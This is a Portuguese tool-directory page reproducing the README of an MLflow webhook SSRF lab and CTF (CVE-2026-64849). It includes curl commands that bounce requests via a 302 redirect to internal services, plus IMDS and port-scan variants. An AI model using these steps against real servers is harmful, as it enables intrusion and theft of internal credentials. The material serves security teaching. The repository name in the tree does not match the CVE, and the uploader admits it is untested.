Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/isaca0315/cve-2026-64849-poc-lab
Análise de VulnerabilidadesExploraçãoSegurança WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubisaca0315/cve-2026-64849-poc-lab

CVE-2026-64849-poc-lab

este laboratório pode estar bem ou mal, pergunta à IA, estou a testar mas deve funcionar hahahah

Ver Repositório
há 9h 32mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Laboratório de Segurança — Exploração de SSRF em Webhooks do MLflow

CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)

Laboratório prático que reproduz o CVE-2026-64849: uma vulnerabilidade do tipo SSRF no MLflow causada por um defeito TOCTOU (Time-of-Check / Time-of-Use) no tratamento de webhooks. O MLflow valida a URL original do webhook, mas segue redirects HTTP (302) sem revalidar o destino, o que permite a um atacante sem autenticação alcançar serviços internos aos quais não deveria ter acesso (internal-service:8888).

Uso restrito: material de laboratório, apenas para redes e ambientes autorizados. Ver Aviso legal.


1. Resumo executivo

AtributoValor
VulnerabilidadeCVE-2026-64849 — SSRF via Webhook Redirect Bypass
Componente afetadoMLflow Tracking Server (< 3.15.0)
Versão do labMLflow 3.13.0 (sem modificações, via pip install)
Causa raizTOCTOU: valida a URL, segue o 302 sem revalidar
VetorHTTP; sem autenticação
Severidade declaradaCRÍTICA (CVSS 9.3) — conforme banner do exploit do lab
ResultadoAcesso a serviços internos, roubo de credenciais, port scanning
Duração estimada15–20 minutos
NívelIntermediário (Web App Security / Offensive Security)

2. Descrição da vulnerabilidade

O MLflow permite registrar webhooks que disparam requisições HTTP diante de eventos (dados de modelos, experimentos, etc.). Antes de salvar a URL, é aplicada uma validação (esquema, IPs privados, metadata IP). A falha ocorre porque:

  1. Time-of-Check: o MLflow valida a URL original do webhook → passa.
  2. Time-of-Use: durante a requisição, se a resposta for 3xx, a biblioteca requests segue o redirect automaticamente e nunca revalida a URL de destino.

O atacante controla o primeiro salto (um servidor que responde 302 para um serviço interno) e o MLflow atua como proxy para a rede interna.

Ver análise técnica completa em EXPLOITATION_GUIDE.md §6.


3. Objetivos de aprendizagem

Ao finalizar o lab, o estudante será capaz de:

  1. Identificar um SSRF causado por seguimento de redirects sem revalidação (TOCTOU).
  2. Recrear o fluxo completo: registro do webhook, disparo de /test e exfiltração do serviço interno.
  3. Distinguir entre a validação "aparente" (Time-of-Check) e o uso real (Time-of-Use).
  4. Executar variações do ataque: exfiltração de outros endpoints, metadata cloud (IMDS), blind SSRF/port scanning, redirector público e DNS rebinding (teórico).
  5. Aplicar remediação: atualizar para MLflow ≥ 3.15.0, autenticação e controles de rede.

4. Público-alvo e pré-requisitos

Público: estudantes e profissionais de segurança ofensiva, pentesters, revisores de segurança de aplicações e desenvolvedores que usam MLflow.

Requisitos de software:

FerramentaVersão mínima
Docker + Docker ComposeDocker 20.x / Compose v2
curl—
jq1.6+
bash—

Não são necessárias credenciais nem autenticação no MLflow (o ataque é unauthenticated). Não é necessário acesso à rede interna: o lab a fornece.


5. Arquitetura e topologia

root@kitploit:~
                 host                                   rede interna do Docker (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  atacante (curl / bash)      │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  webhook URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, segue o redirect)             │
│                              │   │   internal-service (8888)   ← SEM portas para  │
│                              │   │        "/admin/secret"           o host        │
│                              │   └───────────────────────────────────────────────┘
└──────────────────────────────┘
ComponentePortaPapel no labModificado?
mlflow-vulnerable5000Vítima / cliente vulnerável (MLflow 3.13.0 stock)Não
attacker-server8080Servidor do atacante: /webhook → 302, /redirect?url=, /metadata, dashboardApenas do_HEAD
internal-service8888Vítima em lab_network; /admin/secret e /api/internal/configNão

Detalhe de integridade: o serviço vulnerável e o serviço interno não foram modificados. Ver EXPLOITATION_GUIDE.md §14.


6. Início rápido (setup + exploração automática)

root@kitploit:~
cd mlflow-ssrf-lab
bash run_lab.sh start      # sobe os 3 contêineres e aguarda o MLflow
bash run_lab.sh exploit    # explora automaticamente (SSRF → flag do Nível 1)

Demonstração guiada passo a passo (menu interativo):

root@kitploit:~
bash manual_exploitation_interactive.sh

🏁 Modalidade CTF (resolução MANUAL): o lab é um desafio por níveis. Cada flag deixa a pista do próximo nível, então chegar a cada flag "faz sentido". E a graça é fazer manualmente: ctf_lab.sh não explora por você, apenas te guia e valida sua flag:

root@kitploit:~
bash ctf_lab.sh            # menu interativo do CTF
bash ctf_lab.sh nivel 1    # instruções + pista do nível (comandos para VOCÊ EXECUTAR MANUALMENTE)
bash ctf_lab.sh flag '<flag>'   # validar a flag que você exfiltrou e decodificou (+pts)
bash ctf_lab.sh status     # níveis concluídos + pontuação (235 pts, sem mostrar flags)
bash ctf_lab.sh hint 2     # pista de um nível
bash ctf_lab.sh reset      # apagar progresso

Referências do script run_lab.sh:

root@kitploit:~
bash run_lab.sh start     # start (padrão) + status endpoint
bash run_lab.sh exploit   # executa exploit.py dentro do contêiner mlflow
bash run_lab.sh manual    # mostra os comandos curl passo a passo
bash run_lab.sh logs      # acompanha os logs em tempo real
bash run_lab.sh stop      # para os contêineres
bash run_lab.sh clean     # para e remove dados do lab

7. Procedimento de exploração (3 comandos)

Todas as chamadas a /test exigem o header Content-Type: application/json; sem ele, o MLflow 3.13 responde 400 Bad Request.

root@kitploit:~
# 1. Criar o webhook apontando para o servidor do atacante (redireciona para a raiz do portal interno, Nível 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. Disparar /test → MLflow valida a URL, segue o 302 até o serviço interno
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. Extrair os dados exfiltrados (aninhados em result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

Resultado esperado do passo 3 (Nível 1 do CTF):

root@kitploit:~
{
  "service": "internal-admin-portal",
  "banner": "Portal administrativo interno — acessível apenas pela rede interna",
  "nivel": 1,
  "flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
  "flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
  "pista": "O portal expõe recursos sob /admin/ e /api/. Procure credenciais de administrador."
}

A flag viaja criptografada (flag_enc) e a própria resposta fornece o comando para decodificá-la (flag_decoding). O objetivo é exfiltra-la por SSRF e decodificá-la; e sua pista conduz ao Nível 2. O detalhe passo a passo, a análise do bug e a remediação estão em EXPLOITATION_GUIDE.md.


8. Modalidade CTF — níveis

O lab é um CTF por níveis progressivos: cada flag deixa uma pista que conduz ao próximo destino, de modo que chegar a cada flag faz sentido. Todos os níveis são resolvidos com a mesma técnica base (SSRF via redirect), elevando a dificuldade da técnica e da descoberta.

NívelTécnica / descobertaDestino (SSRF)FlagPontos
1Redirect básicointernal-service:8888/base6410
2Enumeração de /admin/internal-service:8888/admin/secrethex25
3Enumeração de /api/internal-service:8888/api/internal/configbase6440
4Cloud metadata (IMDS)internal-service:8888/latest/meta-data/...base64 + rev60
5 (FINAL)Blind SSRF + descobrir serviço oculto na porta 8889internal-service:8889/admin/finalXOR + base64100

As flags viajam criptografadas no campo flag_enc da resposta e cada resposta inclui flag_decoding (o comando exato para decodificá-la). A flag em texto claro flag{...} não aparece em nenhum script nem doc: é preciso exfiltra-la via SSRF e decodificá-la (os scripts automáticos não mostram flags).

Regra do lab: flag apenas por SSRF bem-sucedido (exfiltração real de dados do serviço interno via redirect). O que não é SSRF ou não é reproduzível no lab não dá flag (p. ex., o /metadata direto do attacker, DNS rebinding, túnel whcli, scan cego sem exfiltração).

Jogar: bash ctf_lab.sh (menu interativo). Resolução manual por níveis em REDTEAM_GUIDE.md (exercício ofensivo comando a comando) e EXPLOITATION_GUIDE.md (procedimento técnico completo).


9. Erratas técnicas incorporadas (controle de mudanças)

Durante a consolidação do lab, foram aplicadas as seguintes correções, já verificadas e refletidas em todos os comandos da documentação:

#CorreçãoImpacto
1POST /test agora envia Content-Type: application/json (e -d '{}')Elimina o 400 Bad Request do MLflow 3.13 e a falha jq: null ao extrair response_body
2attacker_server.py suporta método HEAD (do_HEAD)curl -I .../webhook retorna 302 Found em vez de 501 Unsupported method
3Uso da API real POST /api/2.0/mlflow/webhooksEvita o 405 de rotas que não existem (/webhooks/create)

10. Estrutura do repositório

root@kitploit:~
CVE-2026-29000-poc-lab/
├── README.md                          ← Este arquivo (índice / capa do lab)
├── REDTEAM_GUIDE.md                   ← Exercício manual em chave red team: recon → hipótese → exploit
├── EXPLOITATION_GUIDE.md              ← Procedimento completo do lab (SSRF, variações, integridade)
├── manual_exploitation_interactive.sh ← Demonstração interativa passo a passo (menu)
└── mlflow-ssrf-lab/                   ← Código e orquestração do lab
    ├── docker-compose.yml             ← 3 contêineres (mlflow, attacker, internal)
    ├── exploit.py                     ← Exploit automatizado (executado dentro do contêiner)
    ├── attacker_server.py             ← Servidor do atacante (302 configurável)
    ├── internal_service.py            ← Serviço interno "protegido" (portal 8888 + serviço oculto 8889)
    ├── ctf_lab.sh                     ← Guia manual do CTF (instruções + pistas + validador de flags)
    ├── run_lab.sh                     ← start / exploit / manual / logs / stop / clean
    └── mlflow_data/                   ← Dados gerados (BD sqlite, artefatos)

11. Aviso legal

  • Laboratório educacional. Explorar sistemas sem autorização é ilegal.
  • Este ambiente isola o ataque dentro da rede virtual lab_network do Docker; não expõe o serviço interno ao host.
  • O exploit.py é uma ferramenta de verificação do lab e é executado dentro do contêiner do MLflow, sobre a rede interna simulada (ver EXPLOITATION_GUIDE.md §14).
  • Dirija-se à divulgação responsável do fornecedor (MLflow/Databricks) se encontrar uma variante em um ambiente real.

12. Referências

  • MLflow GitHub Issue #24179
  • OWASP Server-Side Request Forgery Prevention Cheat Sheet
  • CWE-918: Server-Side Request Forgery
  • TOCTOU (OWASP)
Baixar ferramenta